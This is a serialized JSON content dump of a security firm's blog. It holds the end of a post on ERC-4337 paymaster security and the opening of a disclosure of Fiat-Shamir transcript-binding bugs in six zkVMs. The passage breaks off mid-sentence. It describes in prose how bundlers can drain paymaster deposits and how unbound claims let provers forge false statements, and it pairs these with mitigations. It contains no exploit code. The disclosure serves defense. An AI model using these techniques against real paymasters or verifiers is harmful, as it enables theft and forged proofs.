",{"type":23,"tag":154,"props":109390,"children":109392},{"className":109391},[],[109393],{"type":29,"value":109394},"gasPrice",{"type":23,"tag":143,"props":109396,"children":109397},{},[109398,109400,109405,109407,109412],{"type":29,"value":109399},"The bundler ensures the ",{"type":23,"tag":154,"props":109401,"children":109403},{"className":109402},[],[109404],{"type":29,"value":106218},{"type":29,"value":109406}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":154,"props":109408,"children":109410},{"className":109409},[],[109411],{"type":29,"value":106218},{"type":29,"value":109413}," executes",{"type":23,"tag":143,"props":109415,"children":109416},{},[109417,109418,109423],{"type":29,"value":65417},{"type":23,"tag":154,"props":109419,"children":109421},{"className":109420},[],[109422],{"type":29,"value":106218},{"type":29,"value":109424}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":143,"props":109426,"children":109427},{},[109428],{"type":29,"value":109429},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":143,"props":109431,"children":109432},{},[109433],{"type":29,"value":109434},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":32,"props":109436,"children":109437},{},[109438,109440,109445,109447,109452],{"type":29,"value":109439},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":154,"props":109441,"children":109443},{"className":109442},[],[109444],{"type":29,"value":103990},{"type":29,"value":109446}," designed to fail during ",{"type":23,"tag":154,"props":109448,"children":109450},{"className":109449},[],[109451],{"type":29,"value":106218},{"type":29,"value":109453}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":32,"props":109455,"children":109456},{},[109457,109459,109464,109466,109471,109473,109479,109481,109486],{"type":29,"value":109458},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":154,"props":109460,"children":109462},{"className":109461},[],[109463],{"type":29,"value":103961},{"type":29,"value":109465}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":154,"props":109467,"children":109469},{"className":109468},[],[109470],{"type":29,"value":103961},{"type":29,"value":109472}," is submitted via ",{"type":23,"tag":154,"props":109474,"children":109476},{"className":109475},[],[109477],{"type":29,"value":109478},"handleOps",{"type":29,"value":109480},". This means the ",{"type":23,"tag":154,"props":109482,"children":109484},{"className":109483},[],[109485],{"type":29,"value":106218},{"type":29,"value":109487}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":32,"props":109489,"children":109490},{},[109491],{"type":29,"value":109492},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":32,"props":109494,"children":109495},{},[109496],{"type":29,"value":109497},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":32,"props":109499,"children":109500},{},[109501],{"type":29,"value":109502},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":37429,"props":109504,"children":109505},{"id":4832},[109506],{"type":29,"value":4835},{"type":23,"tag":32,"props":109508,"children":109509},{},[109510],{"type":29,"value":109511},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":139,"props":109513,"children":109514},{},[109515,109520,109525,109530,109535],{"type":23,"tag":143,"props":109516,"children":109517},{},[109518],{"type":29,"value":109519},"Always collect full payment during validation, not after execution",{"type":23,"tag":143,"props":109521,"children":109522},{},[109523],{"type":29,"value":109524},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":143,"props":109526,"children":109527},{},[109528],{"type":29,"value":109529},"Carefully validate all user inputs and token transfers",{"type":23,"tag":143,"props":109531,"children":109532},{},[109533],{"type":29,"value":109534},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":143,"props":109536,"children":109537},{},[109538,109540,109545],{"type":29,"value":109539},"Always review changes in new ",{"type":23,"tag":154,"props":109541,"children":109543},{"className":109542},[],[109544],{"type":29,"value":104042},{"type":29,"value":109546}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":32,"props":109548,"children":109549},{},[109550,109552,109557,109559,109564,109566,109571],{"type":29,"value":109551},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":154,"props":109553,"children":109555},{"className":109554},[],[109556],{"type":29,"value":104042},{"type":29,"value":109558}," contract's behavior could potentially break existing ",{"type":23,"tag":154,"props":109560,"children":109562},{"className":109561},[],[109563],{"type":29,"value":104114},{"type":29,"value":109565}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":154,"props":109567,"children":109569},{"className":109568},[],[109570],{"type":29,"value":104042},{"type":29,"value":109572}," versions.",{"type":23,"tag":32,"props":109574,"children":109575},{},[109576],{"type":29,"value":109577},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":32,"props":109579,"children":109580},{},[109581],{"type":29,"value":109582},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":7410,"props":109584,"children":109585},{},[109586],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":109588},[109589,109590,109591,109598,109603,109604],{"id":103876,"depth":4868,"text":103879},{"id":103892,"depth":4868,"text":103895},{"id":103931,"depth":4868,"text":103934,"children":109592},[109593,109594,109595,109596,109597],{"id":103954,"depth":4876,"text":103961},{"id":103995,"depth":4876,"text":103998},{"id":104021,"depth":4876,"text":104024},{"id":16769,"depth":4876,"text":104042},{"id":104114,"depth":4876,"text":104125},{"id":104177,"depth":4868,"text":109599,"children":109600},"Understanding the EntryPoint's Flow",[109601,109602],{"id":104233,"depth":4876,"text":104236},{"id":104418,"depth":4876,"text":104421},{"id":104661,"depth":4868,"text":104667},{"id":106261,"depth":4868,"text":106267,"children":109605},[109606,109607],{"id":106321,"depth":4876,"text":106324},{"id":106381,"depth":4876,"text":106384},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109613,"description":109614,"date":109615,"author":109616,"image":109619,"isFeatured":15,"onBlogPage":15,"tags":109621,"body":109623,"_type":4892,"_id":125428,"_source":4894,"_file":125429,"_stem":125430,"_extension":4897},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109617,109618],"himanshu","valter",{"src":109620,"width":99047,"height":14},"/posts/zkvms-unfaithful-claims/title.png",[109622],"zkVM",{"type":20,"children":109624,"toc":125392},[109625,109630,109672,109685,109688,109694,109699,109827,109830,109836,109842,109847,109879,110027,110032,110155,110166,110177,110200,110211,110216,110249,110257,110262,110265,110271,110276,110282,110287,110292,110300,110318,110459,110464,110470,110563,111297,111365,111376,111384,111858,111864,112303,112643,112796,112801,113689,113845,113851,113943,113948,114533,114983,115059,115065,115070,115139,115149,115165,115175,115236,115655,115687,115697,115872,115877,115887,116487,116675,116693,116696,116702,116707,116715,116747,117109,117114,117199,117202,117208,117216,117221,117224,117230,117235,117243,117251,117259,117267,117300,117308,117316,117407,117658,117985,117993,118023,118193,118519,118524,118529,118546,118549,118554,118559,118571,118583,119174,119186,119198,119205,119213,119225,119233,119248,119253,119533,119552,119647,119666,119682,119685,119691,119696,119701,119708,119716,119723,119731,119744,119762,120222,120324,120329,120334,120350,120353,120359,120364,120376,120387,120392,120782,120789,120797,120822,120842,121098,121109,121128,121512,121858,122088,122247,122407,122975,122980,123006,123009,123015,123020,123027,123035,123048,123120,123131,123139,123149,123157,123168,123442,123531,123560,123563,123568,123702,123714,123721,123726,123879,123905,123912,123920,123925,123991,123996,124386,124473,124489,124492,124498,124503,124509,124609,124668,124673,124679,124684,124692,124697,124703,124708,124713,124719,124724,124727,124733,124739,124744,124749,124754,124759,124764,124767,124773,124936,124941,124944,124949,124960,125277,125282,125306,125311,125329,125334,125337,125343,125348,125353,125363,125368,125378,125388],{"type":23,"tag":32,"props":109626,"children":109627},{},[109628],{"type":29,"value":109629},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":32,"props":109631,"children":109632},{},[109633,109635,109640,109641,109646,109647,109652,109653,109658,109659,109664,109665,109670],{"type":29,"value":109634},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":38,"props":109636,"children":109637},{},[109638],{"type":29,"value":109639},"Jolt",{"type":29,"value":4367},{"type":23,"tag":38,"props":109642,"children":109643},{},[109644],{"type":29,"value":109645},"Nexus",{"type":29,"value":4367},{"type":23,"tag":38,"props":109648,"children":109649},{},[109650],{"type":29,"value":109651},"Cairo-M",{"type":29,"value":4367},{"type":23,"tag":38,"props":109654,"children":109655},{},[109656],{"type":29,"value":109657},"Ceno",{"type":29,"value":4367},{"type":23,"tag":38,"props":109660,"children":109661},{},[109662],{"type":29,"value":109663},"Expander",{"type":29,"value":4375},{"type":23,"tag":38,"props":109666,"children":109667},{},[109668],{"type":29,"value":109669},"Binius64",{"type":29,"value":109671},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":32,"props":109673,"children":109674},{},[109675,109677,109683],{"type":29,"value":109676},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":68,"props":109678,"children":109680},{"href":109679},"#challenges",[109681],{"type":29,"value":109682},"Challenges",{"type":29,"value":109684}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":20844,"props":109686,"children":109687},{},[],{"type":23,"tag":24,"props":109689,"children":109691},{"id":109690},"jargon-cheat-sheet",[109692],{"type":29,"value":109693},"Jargon Cheat Sheet",{"type":23,"tag":32,"props":109695,"children":109696},{},[109697],{"type":29,"value":109698},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":1022,"props":109700,"children":109701},{},[109702,109712,109722,109732,109742,109752,109762,109772,109782,109792,109802,109812],{"type":23,"tag":143,"props":109703,"children":109704},{},[109705,109710],{"type":23,"tag":38,"props":109706,"children":109707},{},[109708],{"type":29,"value":109709},"Fiat-Shamir",{"type":29,"value":109711},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":143,"props":109713,"children":109714},{},[109715,109720],{"type":23,"tag":38,"props":109716,"children":109717},{},[109718],{"type":29,"value":109719},"Transcript",{"type":29,"value":109721},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":143,"props":109723,"children":109724},{},[109725,109730],{"type":23,"tag":38,"props":109726,"children":109727},{},[109728],{"type":29,"value":109729},"Polynomial Commitment",{"type":29,"value":109731},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":143,"props":109733,"children":109734},{},[109735,109740],{"type":23,"tag":38,"props":109736,"children":109737},{},[109738],{"type":29,"value":109739},"Sumcheck",{"type":29,"value":109741},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":143,"props":109743,"children":109744},{},[109745,109750],{"type":23,"tag":38,"props":109746,"children":109747},{},[109748],{"type":29,"value":109749},"MLE (Multilinear Extension)",{"type":29,"value":109751},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":143,"props":109753,"children":109754},{},[109755,109760],{"type":23,"tag":38,"props":109756,"children":109757},{},[109758],{"type":29,"value":109759},"Lookup / LogUp",{"type":29,"value":109761},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":143,"props":109763,"children":109764},{},[109765,109770],{"type":23,"tag":38,"props":109766,"children":109767},{},[109768],{"type":29,"value":109769},"AIR",{"type":29,"value":109771},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":143,"props":109773,"children":109774},{},[109775,109780],{"type":23,"tag":38,"props":109776,"children":109777},{},[109778],{"type":29,"value":109779},"STARK",{"type":29,"value":109781},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":143,"props":109783,"children":109784},{},[109785,109790],{"type":23,"tag":38,"props":109786,"children":109787},{},[109788],{"type":29,"value":109789},"FRI",{"type":29,"value":109791},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":143,"props":109793,"children":109794},{},[109795,109800],{"type":23,"tag":38,"props":109796,"children":109797},{},[109798],{"type":29,"value":109799},"OODS",{"type":29,"value":109801},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":143,"props":109803,"children":109804},{},[109805,109810],{"type":23,"tag":38,"props":109806,"children":109807},{},[109808],{"type":29,"value":109809},"GKR",{"type":29,"value":109811},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":143,"props":109813,"children":109814},{},[109815,109820,109822],{"type":23,"tag":38,"props":109816,"children":109817},{},[109818],{"type":29,"value":109819},"claimed_sum / opening_claim",{"type":29,"value":109821},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":38,"props":109823,"children":109824},{},[109825],{"type":29,"value":109826},"These are the usual suspects for binding bugs.",{"type":23,"tag":20844,"props":109828,"children":109829},{},[],{"type":23,"tag":24,"props":109831,"children":109833},{"id":109832},"what-are-we-even-breaking",[109834],{"type":29,"value":109835},"What Are We Even Breaking?",{"type":23,"tag":320,"props":109837,"children":109839},{"id":109838},"what-is-a-zkvm",[109840],{"type":29,"value":109841},"What is a zkVM?",{"type":23,"tag":32,"props":109843,"children":109844},{},[109845],{"type":29,"value":109846},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":32,"props":109848,"children":109849},{},[109850,109852,109877],{"type":29,"value":109851},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":154,"props":109853,"children":109855},{"className":109854},[500,501],[109856],{"type":23,"tag":504,"props":109857,"children":109859},{"className":109858},[507],[109860],{"type":23,"tag":504,"props":109861,"children":109863},{"className":109862,"ariaHidden":513},[512],[109864],{"type":23,"tag":504,"props":109865,"children":109867},{"className":109866},[518],[109868,109872],{"type":23,"tag":504,"props":109869,"children":109871},{"className":109870,"style":23635},[523],[],{"type":23,"tag":504,"props":109873,"children":109875},{"className":109874,"style":563},[529,530],[109876],{"type":29,"value":8033},{"type":29,"value":109878}," such that:",{"type":23,"tag":32,"props":109880,"children":109881},{},[109882],{"type":23,"tag":154,"props":109883,"children":109885},{"className":109884},[500,501],[109886],{"type":23,"tag":504,"props":109887,"children":109889},{"className":109888},[507],[109890],{"type":23,"tag":504,"props":109891,"children":109893},{"className":109892,"ariaHidden":513},[512],[109894,109938,110013],{"type":23,"tag":504,"props":109895,"children":109897},{"className":109896},[518],[109898,109902,109908,109912,109917,109921,109925,109930,109934],{"type":23,"tag":504,"props":109899,"children":109901},{"className":109900,"style":524},[523],[],{"type":23,"tag":504,"props":109903,"children":109905},{"className":109904},[529],[109906],{"type":29,"value":109907},"∃",{"type":23,"tag":504,"props":109909,"children":109911},{"className":109910,"style":538},[537],[],{"type":23,"tag":504,"props":109913,"children":109915},{"className":109914,"style":563},[529,530],[109916],{"type":29,"value":8033},{"type":23,"tag":504,"props":109918,"children":109920},{"className":109919,"style":538},[537],[],{"type":23,"tag":504,"props":109922,"children":109924},{"className":109923,"style":538},[537],[],{"type":23,"tag":504,"props":109926,"children":109928},{"className":109927},[543],[109929],{"type":29,"value":6533},{"type":23,"tag":504,"props":109931,"children":109933},{"className":109932,"style":538},[537],[],{"type":23,"tag":504,"props":109935,"children":109937},{"className":109936,"style":538},[537],[],{"type":23,"tag":504,"props":109939,"children":109941},{"className":109940},[518],[109942,109946,109957,109962,109967,109972,109976,109981,109986,109990,109995,110000,110004,110009],{"type":23,"tag":504,"props":109943,"children":109945},{"className":109944,"style":2160},[523],[],{"type":23,"tag":504,"props":109947,"children":109949},{"className":109948},[529],[109950],{"type":23,"tag":504,"props":109951,"children":109954},{"className":109952},[529,109953],"mathsf",[109955],{"type":29,"value":109956},"VM",{"type":23,"tag":504,"props":109958,"children":109960},{"className":109959},[600],[109961],{"type":29,"value":603},{"type":23,"tag":504,"props":109963,"children":109965},{"className":109964,"style":563},[529,530],[109966],{"type":29,"value":566},{"type":23,"tag":504,"props":109968,"children":109970},{"className":109969},[2267],[109971],{"type":29,"value":2270},{"type":23,"tag":504,"props":109973,"children":109975},{"className":109974,"style":2274},[537],[],{"type":23,"tag":504,"props":109977,"children":109979},{"className":109978,"style":2686},[529,530],[109980],{"type":29,"value":2689},{"type":23,"tag":504,"props":109982,"children":109984},{"className":109983},[2267],[109985],{"type":29,"value":2270},{"type":23,"tag":504,"props":109987,"children":109989},{"className":109988,"style":2274},[537],[],{"type":23,"tag":504,"props":109991,"children":109993},{"className":109992,"style":563},[529,530],[109994],{"type":29,"value":8033},{"type":23,"tag":504,"props":109996,"children":109998},{"className":109997},[930],[109999],{"type":29,"value":933},{"type":23,"tag":504,"props":110001,"children":110003},{"className":110002,"style":538},[537],[],{"type":23,"tag":504,"props":110005,"children":110007},{"className":110006},[543],[110008],{"type":29,"value":24374},{"type":23,"tag":504,"props":110010,"children":110012},{"className":110011,"style":538},[537],[],{"type":23,"tag":504,"props":110014,"children":110016},{"className":110015},[518],[110017,110021],{"type":23,"tag":504,"props":110018,"children":110020},{"className":110019,"style":23635},[523],[],{"type":23,"tag":504,"props":110022,"children":110025},{"className":110023,"style":110024},[529,530],"margin-right:0.22222em;",[110026],{"type":29,"value":8208},{"type":23,"tag":32,"props":110028,"children":110029},{},[110030],{"type":29,"value":110031},"where:",{"type":23,"tag":1022,"props":110033,"children":110034},{},[110035,110065,110095,110125],{"type":23,"tag":143,"props":110036,"children":110037},{},[110038,110063],{"type":23,"tag":154,"props":110039,"children":110041},{"className":110040},[500,501],[110042],{"type":23,"tag":504,"props":110043,"children":110045},{"className":110044},[507],[110046],{"type":23,"tag":504,"props":110047,"children":110049},{"className":110048,"ariaHidden":513},[512],[110050],{"type":23,"tag":504,"props":110051,"children":110053},{"className":110052},[518],[110054,110058],{"type":23,"tag":504,"props":110055,"children":110057},{"className":110056,"style":23635},[523],[],{"type":23,"tag":504,"props":110059,"children":110061},{"className":110060,"style":563},[529,530],[110062],{"type":29,"value":566},{"type":29,"value":110064}," = program/circuit description (public)",{"type":23,"tag":143,"props":110066,"children":110067},{},[110068,110093],{"type":23,"tag":154,"props":110069,"children":110071},{"className":110070},[500,501],[110072],{"type":23,"tag":504,"props":110073,"children":110075},{"className":110074},[507],[110076],{"type":23,"tag":504,"props":110077,"children":110079},{"className":110078,"ariaHidden":513},[512],[110080],{"type":23,"tag":504,"props":110081,"children":110083},{"className":110082},[518],[110084,110088],{"type":23,"tag":504,"props":110085,"children":110087},{"className":110086,"style":23635},[523],[],{"type":23,"tag":504,"props":110089,"children":110091},{"className":110090,"style":2686},[529,530],[110092],{"type":29,"value":2689},{"type":29,"value":110094}," = public input",{"type":23,"tag":143,"props":110096,"children":110097},{},[110098,110123],{"type":23,"tag":154,"props":110099,"children":110101},{"className":110100},[500,501],[110102],{"type":23,"tag":504,"props":110103,"children":110105},{"className":110104},[507],[110106],{"type":23,"tag":504,"props":110107,"children":110109},{"className":110108,"ariaHidden":513},[512],[110110],{"type":23,"tag":504,"props":110111,"children":110113},{"className":110112},[518],[110114,110118],{"type":23,"tag":504,"props":110115,"children":110117},{"className":110116,"style":23635},[523],[],{"type":23,"tag":504,"props":110119,"children":110121},{"className":110120,"style":110024},[529,530],[110122],{"type":29,"value":8208},{"type":29,"value":110124}," = claimed public output",{"type":23,"tag":143,"props":110126,"children":110127},{},[110128,110153],{"type":23,"tag":154,"props":110129,"children":110131},{"className":110130},[500,501],[110132],{"type":23,"tag":504,"props":110133,"children":110135},{"className":110134},[507],[110136],{"type":23,"tag":504,"props":110137,"children":110139},{"className":110138,"ariaHidden":513},[512],[110140],{"type":23,"tag":504,"props":110141,"children":110143},{"className":110142},[518],[110144,110148],{"type":23,"tag":504,"props":110145,"children":110147},{"className":110146,"style":23635},[523],[],{"type":23,"tag":504,"props":110149,"children":110151},{"className":110150,"style":563},[529,530],[110152],{"type":29,"value":8033},{"type":29,"value":110154}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":32,"props":110156,"children":110157},{},[110158,110160,110164],{"type":29,"value":110159},"The verifier does ",{"type":23,"tag":38,"props":110161,"children":110162},{},[110163],{"type":29,"value":20539},{"type":29,"value":110165}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":32,"props":110167,"children":110168},{},[110169,110171,110176],{"type":29,"value":110170},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":38,"props":110172,"children":110173},{},[110174],{"type":29,"value":110175},"soundness",{"type":29,"value":6533},{"type":23,"tag":1022,"props":110178,"children":110179},{},[110180,110190],{"type":23,"tag":143,"props":110181,"children":110182},{},[110183,110188],{"type":23,"tag":38,"props":110184,"children":110185},{},[110186],{"type":29,"value":110187},"Completeness",{"type":29,"value":110189},": honest execution verifies.",{"type":23,"tag":143,"props":110191,"children":110192},{},[110193,110198],{"type":23,"tag":38,"props":110194,"children":110195},{},[110196],{"type":29,"value":110197},"Soundness",{"type":29,"value":110199},": false execution should not verify.",{"type":23,"tag":32,"props":110201,"children":110202},{},[110203,110205,110209],{"type":29,"value":110204},"We are breaking ",{"type":23,"tag":38,"props":110206,"children":110207},{},[110208],{"type":29,"value":110175},{"type":29,"value":110210}," in all six systems.",{"type":23,"tag":32,"props":110212,"children":110213},{},[110214],{"type":29,"value":110215},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":139,"props":110217,"children":110218},{},[110219,110224,110229,110234,110239,110244],{"type":23,"tag":143,"props":110220,"children":110221},{},[110222],{"type":29,"value":110223},"Fix public statement data.",{"type":23,"tag":143,"props":110225,"children":110226},{},[110227],{"type":29,"value":110228},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":143,"props":110230,"children":110231},{},[110232],{"type":29,"value":110233},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":143,"props":110235,"children":110236},{},[110237],{"type":29,"value":110238},"Check constraint equations at sampled points.",{"type":23,"tag":143,"props":110240,"children":110241},{},[110242],{"type":29,"value":110243},"Check PCS/opening consistency.",{"type":23,"tag":143,"props":110245,"children":110246},{},[110247],{"type":29,"value":110248},"Accept only if all checks are jointly consistent.",{"type":23,"tag":32,"props":110250,"children":110251},{},[110252],{"type":23,"tag":199,"props":110253,"children":110256},{"alt":110254,"src":110255},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":32,"props":110258,"children":110259},{},[110260],{"type":29,"value":110261},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":20844,"props":110263,"children":110264},{},[],{"type":23,"tag":24,"props":110266,"children":110268},{"id":110267},"the-building-blocks",[110269],{"type":29,"value":110270},"The Building Blocks",{"type":23,"tag":32,"props":110272,"children":110273},{},[110274],{"type":29,"value":110275},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":320,"props":110277,"children":110279},{"id":110278},"the-fiat-shamir-transform",[110280],{"type":29,"value":110281},"The Fiat-Shamir Transform",{"type":23,"tag":32,"props":110283,"children":110284},{},[110285],{"type":29,"value":110286},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":32,"props":110288,"children":110289},{},[110290],{"type":29,"value":110291},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":32,"props":110293,"children":110294},{},[110295],{"type":23,"tag":199,"props":110296,"children":110299},{"alt":110297,"src":110298},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":32,"props":110301,"children":110302},{},[110303,110305,110309,110311,110316],{"type":29,"value":110304},"The hash (transcript) ",{"type":23,"tag":38,"props":110306,"children":110307},{},[110308],{"type":29,"value":8563},{"type":29,"value":110310}," include everything that affects verification ",{"type":23,"tag":38,"props":110312,"children":110313},{},[110314],{"type":29,"value":110315},"BEFORE",{"type":29,"value":110317}," the challenges derived from it are used.",{"type":23,"tag":32,"props":110319,"children":110320},{},[110321,110323,110349,110351,110376,110378,110403,110405,110430,110432,110457],{"type":29,"value":110322},"If some value ",{"type":23,"tag":154,"props":110324,"children":110326},{"className":110325},[500,501],[110327],{"type":23,"tag":504,"props":110328,"children":110330},{"className":110329},[507],[110331],{"type":23,"tag":504,"props":110332,"children":110334},{"className":110333,"ariaHidden":513},[512],[110335],{"type":23,"tag":504,"props":110336,"children":110338},{"className":110337},[518],[110339,110343],{"type":23,"tag":504,"props":110340,"children":110342},{"className":110341,"style":23635},[523],[],{"type":23,"tag":504,"props":110344,"children":110346},{"className":110345,"style":110024},[529,530],[110347],{"type":29,"value":110348},"V",{"type":29,"value":110350}," affects a verification equation, but ",{"type":23,"tag":154,"props":110352,"children":110354},{"className":110353},[500,501],[110355],{"type":23,"tag":504,"props":110356,"children":110358},{"className":110357},[507],[110359],{"type":23,"tag":504,"props":110360,"children":110362},{"className":110361,"ariaHidden":513},[512],[110363],{"type":23,"tag":504,"props":110364,"children":110366},{"className":110365},[518],[110367,110371],{"type":23,"tag":504,"props":110368,"children":110370},{"className":110369,"style":23635},[523],[],{"type":23,"tag":504,"props":110372,"children":110374},{"className":110373,"style":110024},[529,530],[110375],{"type":29,"value":110348},{"type":29,"value":110377}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":154,"props":110379,"children":110381},{"className":110380},[500,501],[110382],{"type":23,"tag":504,"props":110383,"children":110385},{"className":110384},[507],[110386],{"type":23,"tag":504,"props":110387,"children":110389},{"className":110388,"ariaHidden":513},[512],[110390],{"type":23,"tag":504,"props":110391,"children":110393},{"className":110392},[518],[110394,110398],{"type":23,"tag":504,"props":110395,"children":110397},{"className":110396,"style":23635},[523],[],{"type":23,"tag":504,"props":110399,"children":110401},{"className":110400,"style":110024},[529,530],[110402],{"type":29,"value":110348},{"type":29,"value":110404},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":154,"props":110406,"children":110408},{"className":110407},[500,501],[110409],{"type":23,"tag":504,"props":110410,"children":110412},{"className":110411},[507],[110413],{"type":23,"tag":504,"props":110414,"children":110416},{"className":110415,"ariaHidden":513},[512],[110417],{"type":23,"tag":504,"props":110418,"children":110420},{"className":110419},[518],[110421,110425],{"type":23,"tag":504,"props":110422,"children":110424},{"className":110423,"style":23635},[523],[],{"type":23,"tag":504,"props":110426,"children":110428},{"className":110427,"style":110024},[529,530],[110429],{"type":29,"value":110348},{"type":29,"value":110431},", which may allow it to choose ",{"type":23,"tag":154,"props":110433,"children":110435},{"className":110434},[500,501],[110436],{"type":23,"tag":504,"props":110437,"children":110439},{"className":110438},[507],[110440],{"type":23,"tag":504,"props":110441,"children":110443},{"className":110442,"ariaHidden":513},[512],[110444],{"type":23,"tag":504,"props":110445,"children":110447},{"className":110446},[518],[110448,110452],{"type":23,"tag":504,"props":110449,"children":110451},{"className":110450,"style":23635},[523],[],{"type":23,"tag":504,"props":110453,"children":110455},{"className":110454,"style":110024},[529,530],[110456],{"type":29,"value":110348},{"type":29,"value":110458}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":32,"props":110460,"children":110461},{},[110462],{"type":29,"value":110463},"This is the bug class we found in all six systems.",{"type":23,"tag":320,"props":110465,"children":110467},{"id":110466},"the-sumcheck-protocol",[110468],{"type":29,"value":110469},"The Sumcheck Protocol",{"type":23,"tag":32,"props":110471,"children":110472},{},[110473,110475,110561],{"type":29,"value":110474},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in 